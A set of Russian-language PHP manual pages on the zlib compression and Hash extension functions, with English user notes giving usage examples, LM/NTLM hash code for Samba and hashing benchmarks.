Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр InflateContext; раньше возвращался ресурс (resource).

Примечания

Предостережение

В отличие от gzinflate(), контексты инкрементального расширения не ограничивают длину декодированных данных, поэтому не обеспечивают автоматической защиты от ZIP-бомб.

Смотрите также

  • inflate_add() - Инкрементальное распаковать закодированные данные
  • deflate_init() - Инициализировать контекст инкрементального сжатия

User Contributed Notes

There are no user contributed notes for this page.


Выводит содержимое gz-файла

  • « inflate_init
  • zlib_decode »
  • PHP Manual
  • Функции Zlib
  • Выводит содержимое gz-файла

readgzfile

(PHP 4, PHP 5, PHP 7, PHP 8)

readgzfile — Выводит содержимое gz-файла

Описание

readgzfile(string $filename, int $use_include_path = 0): int|false

Читает файл, распаковывает его и записывает в стандартный вывод.

Может также использоваться для чтения файла, не имеющего формат gzip; в этом случае readgzfile() непосредственно читает из файла без распаковки.

Список параметров

filename

Имя файла. Этот файл будет открыт и его содержимое будет записано в стандартный вывод.

use_include_path

Вы можете использовать этот необязательный параметр и установить его в 1, если необходимо, чтобы поиск файла также осуществлялся в директориях include_path.

Возвращаемые значения

Возвращает количество байтов в файле (после распаковки) в случае успешного выполнения или false в случае возникновения ошибки

Ошибки

В случае неудачного завершения работы генерируется ошибка уровня E_WARNING.

Смотрите также

  • gzpassthru() - Вывод всех оставшихся данных из указателя gz-файла.
  • gzfile() - Считывает весь gz-файл в массив
  • gzopen() - Открыть gz-файл

User Contributed Notes

glennh at webadept dot net 02-Oct-2003 01:52
This is a rather simple example of usage for this function, but it does work, and it solved a problem I was using with old browsers accessing gzipped files.

<?PHP

// first we need to stop the server from sending any headers at all.
ob_start();

readgzfile("test.html.gz"); // read the file and output directly to
the browser
                                      // non compressed data from the
file

ob_end_flush(); // let the headers go//

?>

There is no need for any html formating if the source file is an HTML formated page, such as the ones I'm using are. Checking the browser version, sends either the gzip file directly, or sends the browser to a page like this, which does the work for it. Well done simple function.

My server is running PHP 4.2.2 on Linux Redhat version 9 and
Apache 2.0.40


Распаковывает любые закодированные данные raw/gzip/zlib

  • « readgzfile
  • zlib_encode »
  • PHP Manual
  • Функции Zlib
  • Распаковывает любые закодированные данные raw/gzip/zlib

zlib_decode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

zlib_decode — Распаковывает любые закодированные данные raw/gzip/zlib

Описание

zlib_decode(string $data, int $max_length = 0): string|false

Распаковывает любые закодированные данные raw/gzip/zlib.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

max_length

Возвращаемые значения

Возвращает распакованные данные или false в случае возникновения ошибки.

Смотрите также

  • zlib_encode() - Сжатие данных с указанной кодировкой

User Contributed Notes

anonymous at dekho-ji dot com 17-May-2013 09:10
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.


Сжатие данных с указанной кодировкой

  • « zlib_decode
  • zlib_get_coding_type »
  • PHP Manual
  • Функции Zlib
  • Сжатие данных с указанной кодировкой

zlib_encode

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

zlib_encode — Сжатие данных с указанной кодировкой

Описание

zlib_encode(string $data, int $encoding, int $level = -1): string|false

Сжимает данные с указанной кодировкой.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Данные для сжатия.

encoding

Алгоритм сжатия. Одна из констант ZLIB_ENCODING_RAW, ZLIB_ENCODING_DEFLATE или ZLIB_ENCODING_GZIP.

level

Возвращаемые значения

Примеры

Пример #1 Пример использования zlib_encode()

<?php
$str = 'hello world';
$enc = zlib_encode($str, ZLIB_ENCODING_DEFLATE);
echo bin2hex($enc);
?>

Результат выполнения данного примера:

789ccb48cdc9c95728cf2fca4901001a0b045d

Смотрите также

  • zlib_decode() - Распаковывает любые закодированные данные raw/gzip/zlib

User Contributed Notes

geniuszxy at outlook dot com 19-Oct-2022 08:25
zlib_encode, gzcompress, gzdeflate and gzencode are the same functions besides the parameter order.

zlib_encode + ZLIB_ENCODING_RAW = gzdeflate
zlib_encode + ZLIB_ENCODING_DEFLATE = gzcompress
zlib_encode + ZLIB_ENCODING_GZIP = gzencode


Возвращает способ кодирования, используемый для сжатия вывода

  • « zlib_encode
  • DeflateContext »
  • PHP Manual
  • Функции Zlib
  • Возвращает способ кодирования, используемый для сжатия вывода

zlib_get_coding_type

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

zlib_get_coding_type — Возвращает способ кодирования, используемый для сжатия вывода

Описание

zlib_get_coding_type(): string|false

Возвращает способ кодирования, используемый для сжатия вывода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возможные значения: gzip, deflate или false.

Смотрите также

  • Директива zlib.output_compression

User Contributed Notes

There are no user contributed notes for this page.


Класс DeflateContext

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы zlib.deflate в PHP 8.0.0.

Обзор классов

final class DeflateContext {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс InflateContext

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы zlib.inflate в PHP 8.0.0.

Обзор классов

final class InflateContext {
}

User Contributed Notes

There are no user contributed notes for this page.


Криптографические модули

  • Hash — Фреймворк хеш-кодов HASH
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • HashContext — Класс HashContext
    • Функции Hash
  • Mcrypt
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Шифры Mcrypt
    • Mcrypt
  • Mhash
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Mhash
  • OpenSSL
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Параметры ключа/сертификата
    • Проверка сертификатов
    • Функции OpenSSL
    • OpenSSLCertificate — Класс OpenSSLCertificate
    • OpenSSLCertificateSigningRequest — Класс OpenSSLCertificateSigningRequest
    • OpenSSLAsymmetricKey — Класс OpenSSLAsymmetricKey
  • Хеширование паролей
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции хеширования паролей
  • Rnp
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Rnp
    • RnpFFI — Класс RnpFFI
  • Sodium
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Sodium
    • SodiumException — Класс SodiumException

User Contributed Notes

There are no user contributed notes for this page.


Фреймворк хеш-кодов HASH

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • HashContext — Класс HashContext
    • HashContext::__construct — Закрытый конструктор для запрета непосредственного создания объекта
    • HashContext::__serialize — Сериализует объект HashContext
    • HashContext::__unserialize — Десериализует параметр data в объект HashContext
  • Функции Hash
    • hash_algos — Возвращает список зарегистрированных алгоритмов хеширования
    • hash_copy — Копирует контекст хеширования
    • hash_equals — Сравнивает строки без риска атаки по времени
    • hash_file — Генерация хеш-значения, используя содержимое заданного файла
    • hash_final — Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода
    • hash_hkdf — Формирования ключа HKDF для заданных входных данных
    • hash_hmac_algos — Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac
    • hash_hmac_file — Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла
    • hash_hmac — Генерация хеш-кода на основе ключа, используя метод HMAC
    • hash_init — Инициализация инкрементального контекста хеширования
    • hash_pbkdf2 — Формирования ключа PBKDF2 для заданных входных данных
    • hash_update_file — Добавляет данные из файла в активный контекст хеширования
    • hash_update_stream — Добавляет данные из открытого потока в активный контекст хеширования
    • hash_update — Добавляет данные в активный контекст хеширования
    • hash — Генерирует хеш-код (подпись сообщения)

User Contributed Notes

There are no user contributed notes for this page.


Введение

Фреймворк хеширования сообщений. Позволяет обрабатывать сообщения любой длины с использованием различных алгоритмов хеширования прямым или инкрементальным способом.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для использования этих функций не требуется проведение установки, поскольку они являются частью ядра PHP.

User Contributed Notes

There are no user contributed notes for this page.


Установка

С версии PHP 5.1.2, модуль Hash по умолчанию поставляется и собирается вместе с PHP.

Это поведение легко отключить с помощью конфигурационной опции --disable-hash. Для более ранних версий нужно устанавливать » модуль PECL.

Начиная с PHP 7.4.0, модуль Hash добавлен в ядро PHP и является включённым по умолчанию.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Этот модуль определяет ресурс контекста хеширования, возвращаемый hash_init().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

HASH_HMAC (int)
Необязательный флаг для hash_init().

User Contributed Notes

There are no user contributed notes for this page.


Класс HashContext

(PHP 7 >= 7.2.0, PHP 8)

Введение

Обзор классов

final class HashContext {
/* Методы */
private __construct()
public __serialize(): array
public __unserialize(array $data): void
}

Содержание

  • HashContext::__construct — Закрытый конструктор для запрета непосредственного создания объекта
  • HashContext::__serialize — Сериализует объект HashContext
  • HashContext::__unserialize — Десериализует параметр data в объект HashContext

User Contributed Notes

There are no user contributed notes for this page.


Закрытый конструктор для запрета непосредственного создания объекта

  • « HashContext
  • HashContext::__serialize »
  • PHP Manual
  • HashContext
  • Закрытый конструктор для запрета непосредственного создания объекта

HashContext::__construct

(PHP 7 >= 7.2.0, PHP 8)

HashContext::__construct — Закрытый конструктор для запрета непосредственного создания объекта

Описание

private HashContext::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Сериализует объект HashContext

  • « HashContext::__construct
  • HashContext::__unserialize »
  • PHP Manual
  • HashContext
  • Сериализует объект HashContext

HashContext::__serialize

(PHP 8)

HashContext::__serialize — Сериализует объект HashContext

Описание

public HashContext::__serialize(): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Десериализует параметр data в объект HashContext

  • « HashContext::__serialize
  • Функции Hash »
  • PHP Manual
  • HashContext
  • Десериализует параметр data в объект HashContext

HashContext::__unserialize

(PHP 8)

HashContext::__unserialize — Десериализует параметр data в объект HashContext

Описание

public HashContext::__unserialize(array $data): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

data

Десериализуемое значение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Функции Hash

Содержание

  • hash_algos — Возвращает список зарегистрированных алгоритмов хеширования
  • hash_copy — Копирует контекст хеширования
  • hash_equals — Сравнивает строки без риска атаки по времени
  • hash_file — Генерация хеш-значения, используя содержимое заданного файла
  • hash_final — Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода
  • hash_hkdf — Формирования ключа HKDF для заданных входных данных
  • hash_hmac_algos — Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac
  • hash_hmac_file — Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла
  • hash_hmac — Генерация хеш-кода на основе ключа, используя метод HMAC
  • hash_init — Инициализация инкрементального контекста хеширования
  • hash_pbkdf2 — Формирования ключа PBKDF2 для заданных входных данных
  • hash_update_file — Добавляет данные из файла в активный контекст хеширования
  • hash_update_stream — Добавляет данные из открытого потока в активный контекст хеширования
  • hash_update — Добавляет данные в активный контекст хеширования
  • hash — Генерирует хеш-код (подпись сообщения)

User Contributed Notes

ocarter at mirabeau dot nl 11-Jan-2010 07:22
Note for FreeBSD with PHP-5.

This is disabled by default; use the security/php5-hash port:
cd /usr/ports/security/php5-hash ; make install clean
(do not use the security/pecl-hash port as in the past, see the /usr/ports/UPDATING post from 20081211)
kungla at gmail dot com 07-Dec-2009 05:00
For Samba ueserPassword you can use:

(I am not very sure aboute the salt part, but it works for me like that)

<?php
function CRYPThash($string, $salt = null)
{
    if (!$salt)
        $salt = rand(10,99);

    return "{CRYPT}".crypt($string, $salt);
}
?>

In posted NTLMHash function you can also use:

<?php
// Encrypt it with the MD4 hash
$MD4Hash=hash('md4',$Input);
?>

So you don't need to install mhash libraries
artem at it-nt dot ru 20-Jul-2008 12:35
And some code for LM hash:

<?php
function LMhash($string)
{
    $string = strtoupper(substr($string,0,14));

    $p1 = LMhash_DESencrypt(substr($string, 0, 7));
    $p2 = LMhash_DESencrypt(substr($string, 7, 7));

    return strtoupper($p1.$p2);
}

function LMhash_DESencrypt($string)
{
    $key = array();
    $tmp = array();
    $len = strlen($string);

    for ($i=0; $i<7; ++$i)
        $tmp[] = $i < $len ? ord($string[$i]) : 0;

    $key[] = $tmp[0] & 254;
    $key[] = ($tmp[0] << 7) | ($tmp[1] >> 1);
    $key[] = ($tmp[1] << 6) | ($tmp[2] >> 2);
    $key[] = ($tmp[2] << 5) | ($tmp[3] >> 3);
    $key[] = ($tmp[3] << 4) | ($tmp[4] >> 4);
    $key[] = ($tmp[4] << 3) | ($tmp[5] >> 5);
    $key[] = ($tmp[5] << 2) | ($tmp[6] >> 6);
    $key[] = $tmp[6] << 1;

    $is = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($is, MCRYPT_RAND);
    $key0 = "";

    foreach ($key as $k)
        $key0 .= chr($k);
    $crypt = mcrypt_encrypt(MCRYPT_DES, $key0, "KGS!@#$%", MCRYPT_MODE_ECB, $iv);

    return bin2hex($crypt);
}
?>

Some optimization?
CraquePipe 24-Mar-2008 04:42
For thoes of you who're looking to generate an NTLM hash (not an LM hash), I found out it's quite simple..

It uses the basic MD4 function, but the password needs to be in Unicode Little Endian encode first (this canbe achieved by the iconv function).

This can be done easily by using the following code:

<?php
function NTLMHash($Input) {
  // Convert the password from UTF8 to UTF16 (little endian)
  $Input=iconv('UTF-8','UTF-16LE',$Input);

  // Encrypt it with the MD4 hash
  $MD4Hash=bin2hex(mhash(MHASH_MD4,$Input));

  // You could use this instead, but mhash works on PHP 4 and 5 or above
  // The hash function only works on 5 or above
  //$MD4Hash=hash('md4',$Input);

  // Make it uppercase, not necessary, but it's common to do so with NTLM hashes
  $NTLMHash=strtoupper($MD4Hash);

  // Return the result
  return($NTLMHash);
}
?>

To produce an LM hash requires a fully-written script containing the algorithm used to make it.

Enjoy,
CraquePipe.
nb_removethis_ at wtal dot de 03-Sep-2007 05:24
Some tests with mhash and hash revealed on my machine that hash needs more than twice as long to create a hash than mhash. The average of one million cylces of Haval128, Haval256, Gost, CRC32, MD5, SHA1 and SHA256 was 450ms for mhash and 1150ms for hash.


Возвращает список зарегистрированных алгоритмов хеширования

  • « Функции Hash
  • hash_copy »
  • PHP Manual
  • Функции Hash
  • Возвращает список зарегистрированных алгоритмов хеширования

hash_algos

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_algos — Возвращает список зарегистрированных алгоритмов хеширования

Описание

hash_algos(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий список поддерживаемых алгоритмов хеширования.

Список изменений

Версия | Описание
8.1.0 | Добавлена поддержка алгоритмов MurmurHash3 и xxHash.
7.4.0 | Добавлена поддержка для crc32c.
7.1.0 | Добавлена поддержка для sha512/224, sha512/256, sha3-224, sha3-256, sha3-384 и sha3-512.

Примеры

Пример #1 Пример использования hash_algos()

Начиная с PHP 8.1.0, hash_algos() возвращает следующий список названий алгоритмов хеширования.

<?php
print_r(hash_algos());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => md2
    [1] => md4
    [2] => md5
    [3] => sha1
    [4] => sha224
    [5] => sha256
    [6] => sha384
    [7] => sha512/224
    [8] => sha512/256
    [9] => sha512
    [10] => sha3-224
    [11] => sha3-256
    [12] => sha3-384
    [13] => sha3-512
    [14] => ripemd128
    [15] => ripemd160
    [16] => ripemd256
    [17] => ripemd320
    [18] => whirlpool
    [19] => tiger128,3
    [20] => tiger160,3
    [21] => tiger192,3
    [22] => tiger128,4
    [23] => tiger160,4
    [24] => tiger192,4
    [25] => snefru
    [26] => snefru256
    [27] => gost
    [28] => gost-crypto
    [29] => adler32
    [30] => crc32
    [31] => crc32b
    [32] => crc32c
    [33] => fnv132
    [34] => fnv1a32
    [35] => fnv164
    [36] => fnv1a64
    [37] => joaat
    [38] => murmur3a
    [39] => murmur3c
    [40] => murmur3f
    [41] => xxh32
    [42] => xxh64
    [43] => xxh3
    [44] => xxh128
    [45] => haval128,3
    [46] => haval160,3
    [47] => haval192,3
    [48] => haval224,3
    [49] => haval256,3
    [50] => haval128,4
    [51] => haval160,4
    [52] => haval192,4
    [53] => haval224,4
    [54] => haval256,4
    [55] => haval128,5
    [56] => haval160,5
    [57] => haval192,5
    [58] => haval224,5
    [59] => haval256,5
)

Смотрите также

  • hash_hmac_algos() - Возвращает список зарегистрированных алгоритмов хеширования, применимых для hash_hmac

User Contributed Notes

Miguel Florido 18-Oct-2014 11:04
Ansewring to holdoffhunger avoid crc32, the are different results because the crc32(); use the algorithm 'crc32b'. To check this only have to write:

echo hash('crc32b', 'The quick brown fox jumped over the lazy dog.'), "\n";
echo dechex (crc32('The quick brown fox jumped over the lazy dog.'));

And check that both have the same results:

82a34642
82a34642
holdoffhunger at gmail dot com 23-Jun-2012 11:42
If you print the results of the hash_algos function and look at all of the available hashing functions, you will find three with duplicate functions: md5, sha1, crc32, and sha256.  That means you can call the any of these function with either its own function or the hash function.  For example, with the SHA1 function :

<?php

            // Author: holdoffhunger@gmail.com

    $sha1_first_value = sha1("secret", FALSE);

    $sha1_second_value = hash("sha1", "secret", FALSE);

?>

However, the alternate title for the SHA256 algorithm is "getImageSignature", as part of the ImageMagick application package.  Oddly, the CRC32 function returns different values when called from its own particular function (crc32()) compared to when it's called through the hash function (hash()).  This leads me to suspect that they may be different implementations of the crc32 algorithm altogether.  The different functions for SHA1 and MD5, however, produce the same results.  The SHA-256 algorithm, as implemented in the ImageMagick function, also produces different results compared to the results of the hash_file() function within the Hash application package.

For the String "1234567890", the single CRC32() Function (which doesn't have an option for binary, "raw data" representation) produces "639479525", but when called through the Hash() Function, that same string produces "b6536850".  I cannot find the relationship of any of these values, as they are not inverses of each other, nor is their sum or difference equal to any power of two (as I suspected they might be an equal distance from 0 or 2^32).

Both the SHA1 and MD5 alternate functions have the parameter of "TRUE/FALSE" at the end to indicate whether the result is given in binary (raw data) or not.  Unfortunately, this often turns out to be data that doesn't print very well.  It is recommended to be printed with the statement of printf("%u\n", $crc_32_value);.  However, that often doesn't produce any usable results, either.  The only method I have discovered is the "bin2hex" function, like so :

<?php

    $md5_value = hash("md5", "secret", FALSE);
    $md5_value_in_hex = bin2hex($md5_value);

?>

However, bin2hex returns a hexadecimal representation, whereas you probably wanted a string of binary 1's and 0's.  You can use the base_convert function, such as base_convert($md5_value_in_hex, 16, 2);.  However, base_convert doesn't work on large numbers, so you have to write your own function for converting Hex to Binary.

One other thing that will probably catch your attention is that half of the listed algorithms have similar names, but are represented with different numbers.  That means that the algorithm takes parameters itself, such as number of bits for the resultant hash value and number of rounds to do in producing the hashed result.  The first number in the title of the Hash Function usually indicates the size of the hash result, such as 128 bit for "haval128,3" and 160 bit for "tiger160,4".  The second number, however, indicates the number of rounds, such as 5 rounds for "haval224,5".
alvaro at demogracia dot com 16-Nov-2010 05:02
These algorithms can be used to generate a session ID. Just pick a string value from the list and feed the session.hash_function directive with it. E.g.:

<?php
ini_set('session.hash_function', 'whirlpool');
?>


Копирует контекст хеширования

  • « hash_algos
  • hash_equals »
  • PHP Manual
  • Функции Hash
  • Копирует контекст хеширования

hash_copy

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

hash_copy — Копирует контекст хеширования

Описание

hash_copy(HashContext $context): HashContext

Список параметров

context

Контекст хеширования, возвращённый hash_init().

Возвращаемые значения

Возвращает копию контекста хеширования.

Список изменений

Версия | Описание
7.2.0 | Принимает и возвращает HashContext, а не ресурс.

Примеры

Пример #1 Пример использования hash_copy()

<?php
$context = hash_init("sha256");
hash_update($context, "Наглый коричневый лисёнок");

/* копия контекста для дальнейшего использования */
$copy_context = hash_copy($context);

echo hash_final($context), "\n";

hash_update($copy_context, "прыгает вокруг ленивой собаки.");
echo hash_final($copy_context), "\n";
?>

Результат выполнения данного примера:

49fd7dddcdc0e0e6b2252f966b750d78536e8cd2677bf84db0c605652f7f1699
8b0ec9465a2a0befe6b45bc081e32e4629a7f3e39dcf1fda31af101b8d85145b

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает строки без риска атаки по времени

  • « hash_copy
  • hash_file »
  • PHP Manual
  • Функции Hash
  • Сравнивает строки без риска атаки по времени

hash_equals

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

hash_equals — Сравнивает строки без риска атаки по времени

Описание

hash_equals(string $known_string, string $user_string): bool

Сравнивает две строки на идентичность так, что значение параметра known_string нельзя раскрыть методами, основанными на знании времени исполнения функции.

Эту функцию можно применять для снижения риска атак по времени. Обычное сравнение через оператор === будет занимать разное время в зависимости от того, разные это значения или нет и в какой позиции первое отличие будет найдено, так раскрывается значение параметра known_string.

Предостережение

Внимание! Передавать полученную от пользователя строку необходимо во второй параметр, а не в первый.

Список параметров

known_string

Известная строка (string), которая должна держаться в секрете.

user_string

Пользовательская строка (string) для сравнения.

Возвращаемые значения

Возвращает true, если строки идентичны, и false, если нет.

Примеры

Пример #1 Пример использования hash_equals()

<?php
$secretKey = '8uRhAeH89naXfFXKGOEj';

// Значение и подпись получены от пользователя, например, содержались в URL-адресе
// и были извлечены из глобальной переменной $_GET.
$value = 'username=rasmuslerdorf';
$signature = '8c35009d3b50caf7f5d2c1e031842e6b7823a1bb781d33c5237cd27b57b5f327';

if (hash_equals(hash_hmac('sha256', $value, $secretKey), $signature)) {
echo "Значение подписано правильно.", PHP_EOL;
} else {
echo "Значение было подделано.", PHP_EOL;
}
?>

Результат выполнения данного примера:

Значение подписано правильно.

Примечания

Замечание:

Для успешного сравнения оба аргумента должны быть одной длины. Если переданы аргументы разной длины, то будет немедленно возвращено false и длина известной строки может быть определена в случае атаки по времени.

Смотрите также

  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC

User Contributed Notes

There are no user contributed notes for this page.


Генерация хеш-значения, используя содержимое заданного файла

  • « hash_equals
  • hash_final »
  • PHP Manual
  • Функции Hash
  • Генерация хеш-значения, используя содержимое заданного файла

hash_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_file — Генерация хеш-значения, используя содержимое заданного файла

Описание

hash_file(
string $algo,
string $filename,
bool $binary = false,
array $options = []
): string|false

Список параметров

algo

Название выбранного алгоритма хеширования (например, "md5", "sha256", "haval160,4" и т.д.). Список поддерживаемых алгоритмов смотрите в hash_algos().

filename

Путь или URL к файлу, который будет хеширован; Поддерживается интерфейс fopen.

binary

Когда установлено в true, выводит необработанные двоичные данные. При false выводит данные в шестнадцатеричной кодировке в нижнем регистре.

options

Множество опций для различных алгоритмов хеширования. В настоящее время в вариантах MurmurHash поддерживается только параметр "seed".

Возвращаемые значения

Возвращает строку, содержащую вычисленный хеш-код в шестнадцатеричной кодировке в нижнем регистре. Если binary задан как true, то возвращается хеш-код в виде бинарных данных.

Список изменений

Версия | Описание
8.1.0 | Добавлен параметр options.

Примеры

Пример #1 Использование hash_file()

<?php
/* Создаём файл, чтобы вычислить его хеш */
file_put_contents('example.txt', 'Наглый коричневый лисёнок прыгает вокруг ленивой собаки.');

echo hash_file('sha256', 'example.txt');
?>

Результат выполнения данного примера:

199f52fc9f2492c64449ed96003f135f8ea428e353e50c40b0c1a16b9c16f571

Смотрите также

  • hash() - Генерирует хеш-код (подпись сообщения)
  • hash_hmac_file() - Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла
  • hash_update_file() - Добавляет данные из файла в активный контекст хеширования
  • md5_file() - Возвращает MD5-хеш файла
  • sha1_file() - Возвращает SHA1-хеш файла

User Contributed Notes

Lawrence Cherone 26-Mar-2018 12:23
It's sometimes necessary to hash the same file with different algos,

<?php
function hash_file_multi($algos = [], $filename) {
    if (!is_array($algos)) {
        throw new \InvalidArgumentException('First argument must be an array');
    }

    if (!is_string($filename)) {
        throw new \InvalidArgumentException('Second argument must be a string');
    }

    if (!file_exists($filename)) {
        throw new \InvalidArgumentException('Second argument, file not found');
    }

    $result = [];
    $fp = fopen($filename, "r");
    if ($fp) {
        // ini hash contexts
        foreach ($algos as $algo) {
            $ctx[$algo] = hash_init($algo);
        }

        // calculate hash
        while (!feof($fp)) {
            $buffer = fgets($fp, 65536);
            foreach ($ctx as $key => $context) {
                hash_update($ctx[$key], $buffer);
            }
        }

        // finalise hash and store in return
        foreach ($algos as $algo) {
            $result[$algo] = hash_final($ctx[$algo]);
        }

        fclose($fp);
    } else {
        throw new \InvalidArgumentException('Could not open file for reading');
    }
    return $result;
}
?>

Which would be used like:

<?php
$result = hash_file_multi(['md5', 'sha1', 'sha256'], 'path/to/file.ext');

var_dump($result['md5'] === hash_file('md5', 'path/to/file.ext')); //true
var_dump($result['sha1'] === hash_file('sha1', 'path/to/file.ext')); //true
var_dump($result['sha256'] === hash_file('sha256', 'path/to/file.ext')); //true
lnker dot ua at gmail dot com 05-Sep-2017 02:28
Link id : 6r1j-d2gs
Code description : hash_file() performance check; Table head columns are sortable by clicking;

Open the code with PhpFiddle - http://phpfiddle.org/main/code/6r1j-d2gs
Open the code with PhpFiddle Lite - http://phpfiddle.org/lite/code/6r1j-d2gs

So do not care a lot about performance! Just use what you need!
synnus at gmail dot com 17-Jun-2015 11:57
bench 476 Mo, win is 'haval160,4' : 0.037002

ALGO: md2, time: 74.702272891998
ALGO: md4, time: 9.2155270576477
ALGO: md5, time: 9.0815191268921
ALGO: sha1, time: 9.0945210456848
ALGO: sha224, time: 9.1465229988098
ALGO: sha256, time: 9.143522977829
ALGO: sha384, time: 14.065804004669
ALGO: sha512, time: 13.990800857544
ALGO: ripemd128, time: 9.3185329437256
ALGO: ripemd160, time: 9.3165328502655
ALGO: ripemd256, time: 9.2495288848877
ALGO: ripemd320, time: 9.2395279407501
ALGO: whirlpool, time: 27.779588937759
ALGO: tiger128,3, time: 9.3075330257416
ALGO: tiger160,3, time: 9.1875250339508
ALGO: tiger192,3, time: 9.3875370025635
ALGO: tiger128,4, time: 9.1755249500275
ALGO: tiger160,4, time: 9.355535030365
ALGO: tiger192,4, time: 9.2025260925293
ALGO: snefru, time: 42.781446218491
ALGO: snefru256, time: 42.613437175751
ALGO: gost, time: 18.606064081192
ALGO: gost-crypto, time: 18.664067983627
ALGO: adler32, time: 9.1535229682922
ALGO: crc32, time: 10.126579999924
ALGO: crc32b, time: 10.01757311821
ALGO: fnv132, time: 9.7505569458008
ALGO: fnv1a32, time: 9.7935597896576
ALGO: fnv164, time: 9.8945660591125
ALGO: fnv1a64, time: 9.3025319576263
